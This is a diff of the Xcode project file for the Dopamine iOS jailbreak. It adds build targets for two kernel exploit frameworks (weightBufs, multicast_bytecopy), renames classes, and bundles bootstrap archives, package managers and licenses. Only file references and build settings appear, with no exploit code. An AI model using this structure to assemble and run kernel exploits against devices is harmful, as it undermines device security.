8C5FA8D12BDD36B6008C246F /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 8C5FA9422BDD503D008C246F /* IOSurface.framework in Frameworks */, + 8C5FA93B2BDD4F98008C246F /* libjailbreak.dylib in Frameworks */, + 8C5FA9442BDD5062008C246F /* CoreML.framework in Frameworks */, + 8C5FA9402BDD5039008C246F /* IOKit.framework in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 8C5FA8E12BDD36BF008C246F /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 8C5FA96F2BDD789C008C246F /* IOSurface.framework in Frameworks */, + 8C5FA96E2BDD7898008C246F /* IOKit.framework in Frameworks */, + 8C5FA93C2BDD4F9D008C246F /* libjailbreak.dylib in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; 8C7198122ABF0E82003C6658 /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; @@ -316,11 +591,11 @@ 8CC139832B53E05300230143 /* IOKit.framework in Frameworks */, 8C029F682B4E31D50071DE58 /* libMobileGestalt.tbd in Frameworks */, 8C46D7252B588973002899DB /* libzstd in Frameworks */, - 8CDD08412B4F6D8700A32B61 /* libgrabkernel.a in Frameworks */, + 8CDD08412B4F6D8700A32B61 /* libgrabkernel2.a in Frameworks */, + 51F19D052BBF456200896361 /* libpartial.a in Frameworks */, 042479E52B66B0DD0082581B /* Preferences.framework in Frameworks */, - 8CDD08402B4F6D8700A32B61 /* libfragmentzip.a in Frameworks */, 8C029F662B4E2E970071DE58 /* libcompression.tbd in Frameworks */, - 8CDD083F2B4F6D8700A32B61 /* libcurl.a in Frameworks */, + 8C58E5592B7EAF8000E3ADAA /* CoreServices.framework in Frameworks */, 8C4ABEB62B52094100B43C9B /* libjailbreak.dylib in Frameworks */, ); runOnlyForDeploymentPostprocessing = 0; @@ -341,10 +616,13 @@ 042479672B66916B0082581B /* UI */ = { isa = PBXGroup; children = ( + 04DD0B412B7CBE100055DE4F /* Themes */, + 04C246A22B74ABD600E17924 /* PkgManagers */, 042479792B66916B0082581B /* Transition */, 042479692B66916B0082581B /* Settings */, 0424798A2B66916B0082581B /* Log */, 042479992B66916B0082581B /* ActionMenu */, + 04C246972B73220400E17924 /* Update */, 042479812B66916B0082581B /* DOUIManager.h */, 042479882B66916B0082581B /* DOUIManager.m */, 042479802B66916B0082581B /* DONavigationController.h */, @@ -355,9 +633,8 @@ 042479862B66916B0082581B /* DOJailbreakButton.m */, 042479822B66916B0082581B /* DOHeaderView.h */, 042479872B66916B0082581B /* DOHeaderView.m */, - 042479832B66916B0082581B /* GlobalAppearance.h */, - 042479A02B66916B0082581B /* GlobalAppearance.m */, - 042479852B66916B0082581B /* ActionMenuDelegate.h */, + 042479832B66916B0082581B /* DOGlobalAppearance.h */, + 042479A02B66916B0082581B /* DOGlobalAppearance.m */, ); path = UI; sourceTree = ""; @@ -365,15 +642,15 @@ 042479692B66916B0082581B /* Settings */ = { isa = PBXGroup; children = ( + 0443A9AE2B79D9A40014C933 /* PSLists */, 042479712B66916B0082581B /* Specifiers */, - 0424796A2B66916B0082581B /* Settings.plist */, 0424796F2B66916B0082581B /* Credits.plist */, 0424796E2B66916B0082581B /* DOCreditsViewController.h */, 0424796B2B66916B0082581B /* DOCreditsViewController.m */, 042479702B66916B0082581B /* DOSettingsController.h */, 0424796C2B66916B0082581B /* DOSettingsController.m */, - 0424796D2B66916B0082581B /* DOPSListController.h */, - 042479782B66916B0082581B /* DOPSListController.m */, + 04DD0B332B7BA38C0055DE4F /* DOLicenseViewController.h */, + 04DD0B342B7BA38C0055DE4F /* DOLicenseViewController.m */, ); path = Settings; sourceTree = ""; @@ -382,10 +659,10 @@ isa = PBXGroup; children = ( 042479722B66916B0082581B /* DOHeaderCell.h */, - 042479732B66916B0082581B /* DOCreditsCell.m */, - 042479742B66916B0082581B /* DOButtonCell.h */, 042479752B66916B0082581B /* DOHeaderCell.m */, 042479762B66916B0082581B /* DOCreditsCell.h */, + 042479732B66916B0082581B /* DOCreditsCell.m */, + 042479742B66916B0082581B /* DOButtonCell.h */, 042479772B66916B0082581B /* DOButtonCell.m */, ); path = Specifiers; @@ -394,10 +671,10 @@ 042479792B66916B0082581B /* Transition */ = { isa = PBXGroup; children = ( - 0424797A2B66916B0082581B /* DOModalTransitionPop.h */, - 0424797D2B66916B0082581B /* DOModalTransitionPop.m */, - 0424797B2B66916B0082581B /* DOModalTransitionPush.h */, - 0424797E2B66916B0082581B /* DOModalTransitionPush.m */, + 0424797A2B66916B0082581B /* DOModalTransitionPush.h */, + 0424797D2B66916B0082581B /* DOModalTransitionPush.m */, + 0424797B2B66916B0082581B /* DOModalTransitionScale.h */, + 0424797E2B66916B0082581B /* DOModalTransitionScale.m */, 0424797F2B66916B0082581B /* DOModalBackAction.h */, 0424797C2B66916B0082581B /* DOModalBackAction.m */, ); @@ -412,11 +689,13 @@ 042479942B66916B0082581B /* DOLyricsLogView.m */, 0424798B2B66916B0082581B /* DOLyricsLogItemView.h */, 042479972B66916B0082581B /* DOLyricsLogItemView.m */, - 042479962B66916B0082581B /* DOProgressiveBlurView.m */, 042479912B66916B0082581B /* DOProgressiveBlurView.h */, + 042479962B66916B0082581B /* DOProgressiveBlurView.m */, 042479952B66916B0082581B /* DODebugLogView.m */, 042479922B66916B0082581B /* DODebugLogView.h */, 042479932B66916B0082581B /* DOLogViewProtocol.h */, + 04DD0B3B2B7C88210055DE4F /* DOLogCrashViewController.h */, + 04DD0B3C2B7C88210055DE4F /* DOLogCrashViewController.m */, ); path = Log; sourceTree = ""; @@ -444,21 +723,76 @@ path = ActionMenu; sourceTree = ""; }; + 0443A9AE2B79D9A40014C933 /* PSLists */ = { + isa = PBXGroup; + children = ( + 0424796D2B66916B0082581B /* DOPSListController.h */, + 042479782B66916B0082581B /* DOPSListController.m */, + 0443A9B02B79D9C10014C933 /* DOPSListItemsController.h */, + 0443A9AF2B79D9C10014C933 /* DOPSListItemsController.m */, + 8C296BAA2BE049E4007C2AD1 /* DOPSExploitListItemsController.h */, + 8C296BAB2BE049E4007C2AD1 /* DOPSExploitListItemsController.m */, + 8C6599DC2C555A71000FF57F /* DOPSJetsamListItemsController.h */, + 8C6599DA2C555A60000FF57F /* DOPSJetsamListItemsController.m */, + ); + path = PSLists; + sourceTree = ""; + }; + 04C246972B73220400E17924 /* Update */ = { + isa = PBXGroup; + children = ( + 04C2469B2B73220400E17924 /* DOUpdateViewController.h */, + 04C246982B73220400E17924 /* DOUpdateViewController.m */, + 04C2469A2B73220400E17924 /* DOUpdateCircleView.h */, + 04C246992B73220400E17924 /* DOUpdateCircleView.m */, + 04C2469F2B73225800E17924 /* DODownloadViewController.h */, + 04C246A02B73225800E17924 /* DODownloadViewController.m */, + ); + name = Update; + path = Dopamine/UI/Update; + sourceTree = SOURCE_ROOT; + }; + 04C246A22B74ABD600E17924 /* PkgManagers */ = { + isa = PBXGroup; + children = ( + 04C246AC2B74ACA200E17924 /* DOAppSwitch.h */, + 04C246AD2B74ACA200E17924 /* DOAppSwitch.m */, + 04C246AF2B74B05800E17924 /* DOPkgManagerPickerView.h */, + 04C246B02B74B05800E17924 /* DOPkgManagerPickerView.m */, + 040622A82B77FE8E00393AAD /* DOPkgManagerPickerViewController.h */, + 040622A92B77FE8E00393AAD /* DOPkgManagerPickerViewController.m */, + 04C246B22B74B65900E17924 /* PkgManagers.plist */, + ); + path = PkgManagers; + sourceTree = ""; + }; + 04DD0B412B7CBE100055DE4F /* Themes */ = { + isa = PBXGroup; + children = ( + 04DD0B3F2B7CBD3D0055DE4F /* Themes.plist */, + 04DD0B422B7CBE2E0055DE4F /* DOThemeManager.h */, + 04DD0B432B7CBE2E0055DE4F /* DOThemeManager.m */, + 04DD0B452B7CBEEA0055DE4F /* DOTheme.h */, + 04DD0B462B7CBEEA0055DE4F /* DOTheme.m */, + ); + path = Themes; + sourceTree = ""; + }; 8C029F402B4DFCFE0071DE58 /* Jailbreak */ = { isa = PBXGroup; children = ( - 8C029F442B4DFD910071DE58 /* Bootstrapper.h */, - 8C029F452B4DFD910071DE58 /* Bootstrapper.m */, - 8C029F612B4E2E140071DE58 /* Jailbreaker.h */, - 8C029F622B4E2E140071DE58 /* Jailbreaker.m */, - 8C029F4C2B4E1FF30071DE58 /* Exploit.h */, - 8C029F4D2B4E1FF30071DE58 /* Exploit.m */, - 8C029F412B4DFD5D0071DE58 /* ExploitManager.h */, - 8C029F422B4DFD5D0071DE58 /* ExploitManager.m */, - 8C029F5E2B4E25350071DE58 /* EnvironmentManager.h */, - 8C029F5F2B4E25350071DE58 /* EnvironmentManager.m */, - 8C4ABEBC2B52274300B43C9B /* PreferenceManager.h */, - 8C4ABEBD2B52274300B43C9B /* PreferenceManager.m */, + 8C029F442B4DFD910071DE58 /* DOBootstrapper.h */, + 8C029F452B4DFD910071DE58 /* DOBootstrapper.m */, + 8C029F612B4E2E140071DE58 /* DOJailbreaker.h */, + 8C029F622B4E2E140071DE58 /* DOJailbreaker.m */, + 8C029F4C2B4E1FF30071DE58 /* DOExploit.h */, + 8C029F4D2B4E1FF30071DE58 /* DOExploit.m */, + 8C029F412B4DFD5D0071DE58 /* DOExploitManager.h */, + 8C029F422B4DFD5D0071DE58 /* DOExploitManager.m */, + 8C029F5E2B4E25350071DE58 /* DOEnvironmentManager.h */, + 8C029F5F2B4E25350071DE58 /* DOEnvironmentManager.m */, + 8C4ABEBC2B52274300B43C9B /* DOPreferenceManager.h */, + 8C4ABEBD2B52274300B43C9B /* DOPreferenceManager.m */, ); path = Jailbreak; sourceTree = ""; @@ -466,18 +800,20 @@ 8C029F642B4E2E7D0071DE58 /* Frameworks */ = { isa = PBXGroup; children = ( + 8C5FA9432BDD5062008C246F /* CoreML.framework */, + 8C5FA9412BDD503D008C246F /* IOSurface.framework */, + 8C5FA93F2BDD5039008C246F /* IOKit.framework */, + 51AB98D92BBF44390042EA7B /* libpartial.a */, + 8C58E5582B7EAF8000E3ADAA /* CoreServices.framework */, 042479E42B66B0DD0082581B /* Preferences.framework */, 8CDD08372B4F682500A32B61 /* IOKit.framework */, 8CDD08352B4F682000A32B61 /* IOSurface.framework */, 8CDD08432B4F6DD800A32B61 /* libchoma.dylib */, 8CDD08422B4F6DD800A32B61 /* libjailbreak.dylib */, 8CDD08442B4F6DD800A32B61 /* libxpf.dylib */, - 8C46D7262B58A029002899DB /* tar.dylib */, 8C029F672B4E31D50071DE58 /* libMobileGestalt.tbd */, 8C029F652B4E2E7D0071DE58 /* libcompression.tbd */, - 8CDD08392B4F6D8200A32B61 /* libcurl.a */, - 8CDD083A2B4F6D8200A32B61 /* libfragmentzip.a */, - 8CDD083B2B4F6D8200A32B61 /* libgrabkernel.a */, + 8CDD083B2B4F6D8200A32B61 /* libgrabkernel2.a */, 8C029F6A2B4E320E0071DE58 /* libz.tbd */, ); name = Frameworks; @@ -588,6 +924,103 @@ path = Headers; sourceTree = ""; }; + 8C5FA8D52BDD36B6008C246F /* weightBufs */ = { + isa = PBXGroup; + children = ( + 8C5FA8F72BDD47A5008C246F /* exploit */, + 8C5FA8EF2BDD36F9008C246F /* Info.plist */, + 8C5FA8D62BDD36B6008C246F /* weightBufs.h */, + 8C5FA8F12BDD439A008C246F /* weightBufs.m */, + ); + path = weightBufs; + sourceTree = ""; + }; + 8C5FA8E52BDD36BF008C246F /* multicast_bytecopy */ = { + isa = PBXGroup; + children = ( + 8C5FA9452BDD693D008C246F /* exploit */, + 8C5FA8F02BDD3700008C246F /* Info.plist */, + 8C5FA8E62BDD36BF008C246F /* multicast_bytecopy.h */, + 8C5FA8F32BDD43A9008C246F /* multicast_bytecopy.m */, + ); + path = multicast_bytecopy; + sourceTree = ""; + }; + 8C5FA8F72BDD47A5008C246F /* exploit */ = { + isa = PBXGroup; + children = ( + 8C5FA9152BDD47D4008C246F /* ANEDirectIn.c */, + 8C5FA9132BDD47D4008C246F /* ANEDirectIn.h */, + 8C5FA9102BDD47D4008C246F /* aneProgram.h */, + 8C5FA90F2BDD47D4008C246F /* AppleNeuralEngine */, + 8C5FA9122BDD47D4008C246F /* exploit.h */, + 8C5FA9142BDD47D4008C246F /* exploit.m */, + 8C5FA9162BDD47D4008C246F /* IOGPU.c */, + 8C5FA9192BDD47D5008C246F /* IOGPU.h */, + 8C5FA8F82BDD47D4008C246F /* iokit.h */, + 8C5FA9112BDD47D4008C246F /* IOSurface.c */, + 8C5FA9182BDD47D5008C246F /* IOSurface.h */, + 8C5FA8F92BDD47D4008C246F /* model_tmp.hwx */, + 8C5FA9172BDD47D5008C246F /* utils.c */, + ); + path = exploit; + sourceTree = ""; + }; + 8C5FA90F2BDD47D4008C246F /* AppleNeuralEngine */ = { + isa = PBXGroup; + children = ( + 8C5FA8FA2BDD47D4008C246F /* _ANEClient.h */, + 8C5FA8FB2BDD47D4008C246F /* _ANECloneHelper.h */, + 8C5FA8FC2BDD47D4008C246F /* _ANEDaemonConnection.h */, + 8C5FA8FD2BDD47D4008C246F /* _ANEDaemonProtocol.h */, + 8C5FA8FE2BDD47D4008C246F /* _ANEDataReporter.h */, + 8C5FA8FF2BDD47D4008C246F /* _ANEDeviceController.h */, + 8C5FA9002BDD47D4008C246F /* _ANEDeviceInfo.h */, + 8C5FA9012BDD47D4008C246F /* _ANEErrors.h */, + 8C5FA9022BDD47D4008C246F /* _ANEHashEncoding.h */, + 8C5FA9032BDD47D4008C246F /* _ANEIOSurfaceObject.h */, + 8C5FA9042BDD47D4008C246F /* _ANELog.h */, + 8C5FA9052BDD47D4008C246F /* _ANEModel.h */, + 8C5FA9062BDD47D4008C246F /* _ANEPerformanceStats.h */, + 8C5FA9072BDD47D4008C246F /* _ANEProgramForEvaluation.h */, + 8C5FA9082BDD47D4008C246F /* _ANEQoSMapper.h */, + 8C5FA9092BDD47D4008C246F /* _ANERequest.h */, + 8C5FA90A2BDD47D4008C246F /* _ANEStrings.h */, + 8C5FA90B2BDD47D4008C246F /* AppleNeuralEngine-Structs.h */, + 8C5FA90C2BDD47D4008C246F /* AppleNeuralEngine.h */, + 8C5FA90D2BDD47D4008C246F /* NSCopying.h */, + 8C5FA90E2BDD47D4008C246F /* NSSecureCoding.h */, + ); + path = AppleNeuralEngine; + sourceTree = ""; + }; + 8C5FA9452BDD693D008C246F /* exploit */ = { + isa = PBXGroup; + children = ( + 8C5FA9512BDD6C0B008C246F /* exploit.c */, + 8C5FA9592BDD6C0C008C246F /* exploit.h */, + 8C5FA9542BDD6C0C008C246F /* IOGPU.c */, + 8C5FA94E2BDD6C0B008C246F /* IOGPU.h */, + 8C5FA94F2BDD6C0B008C246F /* iokit.h */, + 8C5FA9462BDD6C0B008C246F /* IOSurfaceRoot.c */, + 8C5FA94A2BDD6C0B008C246F /* IOSurfaceRoot.h */, + 8C5FA94D2BDD6C0B008C246F /* kernel_base.c */, + 8C5FA9572BDD6C0C008C246F /* kernel_base.h */, + 8C5FA9532BDD6C0C008C246F /* kernel_rw.c */, + 8C5FA9582BDD6C0C008C246F /* kernel_rw.h */, + 8C5FA9522BDD6C0C008C246F /* mcast.c */, + 8C5FA9472BDD6C0B008C246F /* mcast.h */, + 8C5FA94B2BDD6C0B008C246F /* necp.c */, + 8C5FA9482BDD6C0B008C246F /* necp.h */, + 8C5FA9492BDD6C0B008C246F /* port_utils.c */, + 8C5FA94C2BDD6C0B008C246F /* port_utils.h */, + 8C5FA9552BDD6C0C008C246F /* spray.c */, + 8C5FA9502BDD6C0B008C246F /* spray.h */, + 8C5FA9562BDD6C0C008C246F /* xpaci.h */, + ); + path = exploit; + sourceTree = ""; + }; 8C71980C2ABF0E82003C6658 = { isa = PBXGroup; children = ( @@ -604,6 +1037,8 @@ 8CDD07A72B4F619000A32B61 /* kfd.framework */, 8C2B1FDF2B532374009BA166 /* dmaFail.framework */, 8C05B0032B63152B001A7CF3 /* badRecovery.framework */, + 8C5FA8D42BDD36B6008C246F /* weightBufs.framework */, + 8C5FA8E42BDD36BF008C246F /* multicast_bytecopy.framework */, ); name = Products; sourceTree = ""; @@ -615,13 +1050,14 @@ 8C46D71D2B588857002899DB /* Headers */, 8C7198332ABF133D003C6658 /* App Delegates */, 8C9E46262ACA1C5800B5456A /* Extensions */, - 8C029F402B4DFCFE0071DE58 /* Jailbreak */, 8C7198322ABF130A003C6658 /* Exploits */, - 8C7198242ABF0E84003C6658 /* Assets.xcassets */, + 8C029F402B4DFCFE0071DE58 /* Jailbreak */, 042479672B66916B0082581B /* UI */, + 8C7198242ABF0E84003C6658 /* Assets.xcassets */, 8C7198262ABF0E84003C6658 /* LaunchScreen.storyboard */, 8C7198292ABF0E84003C6658 /* Info.plist */, 8C71982A2ABF0E84003C6658 /* main.m */, + 04DD0B5B2B7D19E60055DE4F /* Localizable.strings */, ); path = Dopamine; sourceTree = ""; @@ -632,6 +1068,8 @@ 8C05AFFD2B631443001A7CF3 /* badRecovery */, 8CDD07A82B4F619000A32B61 /* kfd */, 8C2B1FEE2B5324DE009BA166 /* dmaFail */, + 8C5FA8D52BDD36B6008C246F /* weightBufs */, + 8C5FA8E52BDD36BF008C246F /* multicast_bytecopy */, ); path = Exploits; sourceTree = ""; @@ -639,10 +1077,10 @@ 8C7198332ABF133D003C6658 /* App Delegates */ = { isa = PBXGroup; children = ( - 8C7198182ABF0E82003C6658 /* AppDelegate.h */, - 8C7198192ABF0E82003C6658 /* AppDelegate.m */, - 8C71981B2ABF0E82003C6658 /* SceneDelegate.h */, - 8C71981C2ABF0E82003C6658 /* SceneDelegate.m */, + 8C7198182ABF0E82003C6658 /* DOAppDelegate.h */, + 8C7198192ABF0E82003C6658 /* DOAppDelegate.m */, + 8C71981B2ABF0E82003C6658 /* DOSceneDelegate.h */, + 8C71981C2ABF0E82003C6658 /* DOSceneDelegate.m */, ); path = "App Delegates"; sourceTree = ""; @@ -654,6 +1092,10 @@ 8CC139812B53DE6C00230143 /* NSData+Hex.m */, 8C9E46272ACA1C8D00B5456A /* UIImage+Blur.h */, 8C9E46282ACA1CC700B5456A /* UIImage+Blur.m */, + 8C609C9D2C19AEE70023DD12 /* NSString+Version.h */, + 8C609C9C2C19AECF0023DD12 /* NSString+Version.m */, + 8CBF1A482EC3B71700EB2308 /* UIImage+JPEG2000.h */, + 8CBF1A492EC3B71700EB2308 /* UIImage+JPEG2000.m */, ); path = Extensions; sourceTree = ""; @@ -661,11 +1103,31 @@ 8CB94F012B59E16D0098BAFD /* Resources */ = { isa = PBXGroup; children = ( + 8C05C59E2B759F8A0097A931 /* bootstrap_1800.tar.zst */, + 8C05C59D2B759F8A0097A931 /* bootstrap_1900.tar.zst */, 8CB94F032B59E17A0098BAFD /* basebin.tar */, 8CB94F022B59E17A0098BAFD /* basebin.tc */, - 8C512B8A2B5C9DE800C6F14A /* libjbdrw.deb */, 8C512B8B2B5C9DE800C6F14A /* sileo.deb */, 8C512B8C2B5C9DE800C6F14A /* zebra.deb */, + 8C609C992C19AC250023DD12 /* libkrw-dopamine.deb */, + 8CCD8A832B6F165A004B72B0 /* libroot.deb */, + 8CCD2FC32B77AA9200F9C5DA /* basebin-link.deb */, + 04DD0B362B7BA6180055DE4F /* LICENSE.md */, + 04DD0B392B7BF3E80055DE4F /* LICENSE_libc.md */, + 8C56D4B82B7C0DF2001C03D3 /* LICENSE_ChOma.md */, + 8C56D4BA2B7C0DF2001C03D3 /* LICENSE_dimentio.md */, + 8C56D4BC2B7C0DF2001C03D3 /* LICENSE_ElleKit.md */, + 8C2875202BD850B4008B24DA /* LICENSE_libgrabkernel2.md */, + 8C56D4B92B7C0DF2001C03D3 /* LICENSE_Fugu15_Rootful.md */, + 8C56D4BB2B7C0DF2001C03D3 /* LICENSE_Fugu15.md */, + 8C56D4BE2B7C0DF2001C03D3 /* LICENSE_opainject.md */, + 8C56D4BD2B7C0DF2001C03D3 /* LICENSE_XPF.md */, + 8C56D4C72B7C102B001C03D3 /* LICENSE_Procursus.md */, + 8C56D4C62B7C102B001C03D3 /* LICENSE_Sileo.md */, + 8C56D4C82B7C102B001C03D3 /* LICENSE_Zebra.md */, + 8C56D4CC2B7C118B001C03D3 /* LICENSE_kfd.md */, + 8C5FA9702BDD81EF008C246F /* LICENSE_weightBufs.md */, + 8C296BAD2BE05914007C2AD1 /* LICENSE_plooshinit.md */, ); path = Resources; sourceTree = ""; @@ -699,6 +1161,60 @@ ); runOnlyForDeploymentPostprocessing = 0; }; + 8C5FA8CF2BDD36B6008C246F /* Headers */ = { + isa = PBXHeadersBuildPhase; + buildActionMask = 2147483647; + files = ( + 8C5FA92C2BDD47D5008C246F /* _ANEStrings.h in Headers */, + 8C5FA8D72BDD36B6008C246F /* weightBufs.h in Headers */, + 8C5FA9242BDD47D5008C246F /* _ANEHashEncoding.h in Headers */, + 8C5FA91A2BDD47D5008C246F /* iokit.h in Headers */, + 8C5FA9232BDD47D5008C246F /* _ANEErrors.h in Headers */, + 8C5FA92F2BDD47D5008C246F /* NSCopying.h in Headers */, + 8C5FA91C2BDD47D5008C246F /* _ANEClient.h in Headers */, + 8C5FA9212BDD47D5008C246F /* _ANEDeviceController.h in Headers */, + 8C5FA9252BDD47D5008C246F /* _ANEIOSurfaceObject.h in Headers */, + 8C5FA93A2BDD47D5008C246F /* IOGPU.h in Headers */, + 8C5FA9332BDD47D5008C246F /* exploit.h in Headers */, + 8C5FA91F2BDD47D5008C246F /* _ANEDaemonProtocol.h in Headers */, + 8C5FA92D2BDD47D5008C246F /* AppleNeuralEngine-Structs.h in Headers */, + 8C5FA9202BDD47D5008C246F /* _ANEDataReporter.h in Headers */, + 8C5FA9342BDD47D5008C246F /* ANEDirectIn.h in Headers */, + 8C5FA9272BDD47D5008C246F /* _ANEModel.h in Headers */, + 8C5FA9292BDD47D5008C246F /* _ANEProgramForEvaluation.h in Headers */, + 8C5FA9312BDD47D5008C246F /* aneProgram.h in Headers */, + 8C5FA9302BDD47D5008C246F /* NSSecureCoding.h in Headers */, + 8C5FA9282BDD47D5008C246F /* _ANEPerformanceStats.h in Headers */, + 8C5FA92E2BDD47D5008C246F /* AppleNeuralEngine.h in Headers */, + 8C5FA9392BDD47D5008C246F /* IOSurface.h in Headers */, + 8C5FA92A2BDD47D5008C246F /* _ANEQoSMapper.h in Headers */, + 8C5FA92B2BDD47D5008C246F /* _ANERequest.h in Headers */, + 8C5FA91E2BDD47D5008C246F /* _ANEDaemonConnection.h in Headers */, + 8C5FA91D2BDD47D5008C246F /* _ANECloneHelper.h in Headers */, + 8C5FA9222BDD47D5008C246F /* _ANEDeviceInfo.h in Headers */, + 8C5FA9262BDD47D5008C246F /* _ANELog.h in Headers */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 8C5FA8DF2BDD36BF008C246F /* Headers */ = { + isa = PBXHeadersBuildPhase; + buildActionMask = 2147483647; + files = ( + 8C5FA8E72BDD36BF008C246F /* multicast_bytecopy.h in Headers */, + 8C5FA95C2BDD6C0C008C246F /* necp.h in Headers */, + 8C5FA95E2BDD6C0C008C246F /* IOSurfaceRoot.h in Headers */, + 8C5FA96A2BDD6C0C008C246F /* xpaci.h in Headers */, + 8C5FA96D2BDD6C0C008C246F /* exploit.h in Headers */, + 8C5FA9632BDD6C0C008C246F /* iokit.h in Headers */, + 8C5FA9642BDD6C0C008C246F /* spray.h in Headers */, + 8C5FA96B2BDD6C0C008C246F /* kernel_base.h in Headers */, + 8C5FA9622BDD6C0C008C246F /* IOGPU.h in Headers */, + 8C5FA95B2BDD6C0C008C246F /* mcast.h in Headers */, + 8C5FA9602BDD6C0C008C246F /* port_utils.h in Headers */, + 8C5FA96C2BDD6C0C008C246F /* kernel_rw.h in Headers */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; 8CDD07A22B4F619000A32B61 /* Headers */ = { isa = PBXHeadersBuildPhase; buildActionMask = 2147483647; @@ -766,6 +1282,44 @@ productReference = 8C2B1FDF2B532374009BA166 /* dmaFail.framework */; productType = "com.apple.product-type.framework"; }; + 8C5FA8D32BDD36B6008C246F /* weightBufs */ = { + isa = PBXNativeTarget; + buildConfigurationList = 8C5FA8DE2BDD36B6008C246F /* Build configuration list for PBXNativeTarget "weightBufs" */; + buildPhases = ( + 8C5FA8CF2BDD36B6008C246F /* Headers */, + 8C5FA8D02BDD36B6008C246F /* Sources */, + 8C5FA8D12BDD36B6008C246F /* Frameworks */, + 8C5FA8D22BDD36B6008C246F /* Resources */, + 8C5FA93D2BDD4FFF008C246F /* ShellScript */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = weightBufs; + productName = weightBufs; + productReference = 8C5FA8D42BDD36B6008C246F /* weightBufs.framework */; + productType = "com.apple.product-type.framework"; + }; + 8C5FA8E32BDD36BF008C246F /* multicast_bytecopy */ = { + isa = PBXNativeTarget; + buildConfigurationList = 8C5FA8EC2BDD36BF008C246F /* Build configuration list for PBXNativeTarget "multicast_bytecopy" */; + buildPhases = ( + 8C5FA8DF2BDD36BF008C246F /* Headers */, + 8C5FA8E02BDD36BF008C246F /* Sources */, + 8C5FA8E12BDD36BF008C246F /* Frameworks */, + 8C5FA8E22BDD36BF008C246F /* Resources */, + 8C5FA93E2BDD501C008C246F /* ShellScript */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = multicast_bytecopy; + productName = multicast_bytecopy; + productReference = 8C5FA8E42BDD36BF008C246F /* multicast_bytecopy.framework */; + productType = "com.apple.product-type.framework"; + }; 8C7198142ABF0E82003C6658 /* Dopamine */ = { isa = PBXNativeTarget; buildConfigurationList = 8C71982E2ABF0E84003C6658 /* Build configuration list for PBXNativeTarget "Dopamine" */; @@ -782,6 +1336,8 @@ 8CDD07AC2B4F619000A32B61 /* PBXTargetDependency */, 8C2B1FE42B532374009BA166 /* PBXTargetDependency */, 8C05B0082B63152B001A7CF3 /* PBXTargetDependency */, + 8C5FA8D92BDD36B6008C246F /* PBXTargetDependency */, + 8C5FA8E92BDD36BF008C246F /* PBXTargetDependency */, ); name = Dopamine; packageProductDependencies = ( @@ -825,6 +1381,12 @@ 8C2B1FDE2B532374009BA166 = { CreatedOnToolsVersion = 15.1; }; + 8C5FA8D32BDD36B6008C246F = { + CreatedOnToolsVersion = 15.3; + }; + 8C5FA8E32BDD36BF008C246F = { + CreatedOnToolsVersion = 15.3; + }; 8C7198142ABF0E82003C6658 = { CreatedOnToolsVersion = 15.0; }; @@ -840,6 +1402,32 @@ knownRegions = ( en, Base, + es, + fr, + de, + ar, + da, + el, + fil, + hi, + it, + ja, + kk, + ko, + nl, + pl, + "pt-BR", + ru, + sv, + tr, + uk, + ur, + vi, + "zh-HK", + "zh-Hans", + "zh-TW", + "zh-CN", + th, ); mainGroup = 8C71980C2ABF0E82003C6658; packageReferences = ( @@ -853,6 +1441,8 @@ 8CDD07A62B4F619000A32B61 /* kfd */, 8C2B1FDE2B532374009BA166 /* dmaFail */, 8C05B0022B63152B001A7CF3 /* badRecovery */, + 8C5FA8D32BDD36B6008C246F /* weightBufs */, + 8C5FA8E32BDD36BF008C246F /* multicast_bytecopy */, ); }; /* End PBXProject section */ @@ -879,16 +1469,53 @@ ); runOnlyForDeploymentPostprocessing = 0; }; + 8C5FA8D22BDD36B6008C246F /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8C5FA91B2BDD47D5008C246F /* model_tmp.hwx in Resources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 8C5FA8E22BDD36BF008C246F /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + runOnlyForDeploymentPostprocessing = 0; + }; 8C7198132ABF0E82003C6658 /* Resources */ = { isa = PBXResourcesBuildPhase; buildActionMask = 2147483647; files = ( - 8C512B922B5C9F9400C6F14A /* zebra.deb in Resources */, + 8C609C9F2C19B6FA0023DD12 /* libkrw-dopamine.deb in Resources */, + 04DD0B372B7BA6180055DE4F /* LICENSE.md in Resources */, + 04DD0B3A2B7BF3E80055DE4F /* LICENSE_libc.md in Resources */, + 8C56D4CD2B7C118B001C03D3 /* LICENSE_kfd.md in Resources */, + 8C56D4BF2B7C0DF2001C03D3 /* LICENSE_ChOma.md in Resources */, + 8C56D4C22B7C0DF2001C03D3 /* LICENSE_Fugu15.md in Resources */, + 8C56D4C02B7C0DF2001C03D3 /* LICENSE_Fugu15_Rootful.md in Resources */, + 8C56D4C92B7C102B001C03D3 /* LICENSE_Sileo.md in Resources */, + 8C56D4C12B7C0DF2001C03D3 /* LICENSE_dimentio.md in Resources */, + 8C56D4C32B7C0DF2001C03D3 /* LICENSE_ElleKit.md in Resources */, + 8C56D4C52B7C0DF2001C03D3 /* LICENSE_opainject.md in Resources */, + 8C56D4C42B7C0DF2001C03D3 /* LICENSE_XPF.md in Resources */, + 8C56D4CB2B7C102B001C03D3 /* LICENSE_Zebra.md in Resources */, + 8C56D4CA2B7C102B001C03D3 /* LICENSE_Procursus.md in Resources */, + 8CCD2FC42B77AAA000F9C5DA /* basebin-link.deb in Resources */, + 8C05C5A02B75A17A0097A931 /* bootstrap_1900.tar.zst in Resources */, + 8C05C59F2B75A1770097A931 /* bootstrap_1800.tar.zst in Resources */, 042479A42B66916B0082581B /* Credits.plist in Resources */, - 042479A12B66916B0082581B /* Settings.plist in Resources */, + 8C2875212BD850B4008B24DA /* LICENSE_libgrabkernel2.md in Resources */, 8C512B912B5C9F9100C6F14A /* sileo.deb in Resources */, - 8C512B902B5C9F8F00C6F14A /* libjbdrw.deb in Resources */, + 8C512B922B5C9F9400C6F14A /* zebra.deb in Resources */, + 8CCD8A882B6F16D0004B72B0 /* libroot.deb in Resources */, + 